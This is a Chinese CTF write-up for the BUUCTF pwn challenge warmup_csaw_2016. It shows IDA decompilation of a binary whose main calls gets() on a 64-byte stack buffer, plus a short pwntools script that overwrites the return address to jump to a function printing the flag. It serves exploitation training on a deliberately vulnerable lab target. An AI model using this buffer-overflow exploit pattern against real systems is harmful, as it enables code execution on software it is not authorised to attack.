buuctf PWN warmup_csaw_2016

下载附件,IDA查看

发现直接有显示flag函数

复制代码
int sub_40060D()
{
  return system("cat flag.txt");
}

查看程序起始地址0x40060D

复制代码
; Attributes: bp-based frame

sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

查看main函数

复制代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

发现函数gets(v5),是栈溢出

char v5[64]; // [rsp+40h] [rbp-40h] BYREF

看到v5占用64个位置

那就可以改写exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",29692) 
payload=u'A'*64+u'B'*8+p64(0x40060D+1).decode(u"iso-8859-1")
p.sendline(payload)
p.interactive()

运行结果

相关推荐
绵绵细雨中的乡音几秒前
Linux进程学习【进程地址】
linux·学习
网络空间小黑3 分钟前
护网HVV初级蓝队面试题总结
安全·web安全·网络安全·系统安全·安全架构
咛辉3 分钟前
什么是RDD.RDD的创建方式
开发语言
Lw老王要学习6 分钟前
Linux架构篇、第四章_ELK与EFK-7.17.9的日志管理
linux·运维·elk·架构·云计算
知北游天8 分钟前
Linux:进程间通信---消息队列&&信号量
linux·服务器
阿月浑子202111 分钟前
[C#]Task.Run()和Task.Factory.StartNew()对比(腾讯元宝)
开发语言·c#
天上掉下来个程小白12 分钟前
缓存套餐-01.Spring Cache入门案例
java·redis·spring·缓存·springboot·springcache
liuyunluoxiao18 分钟前
进程间通信--管道【Linux操作系统】
linux
大慕慕好懒23 分钟前
redis未授权访问
redis·网络安全·渗透·ssrf
深色風信子25 分钟前
Eclipse 插件开发 6 右键菜单
java·ide·eclipse·右键菜单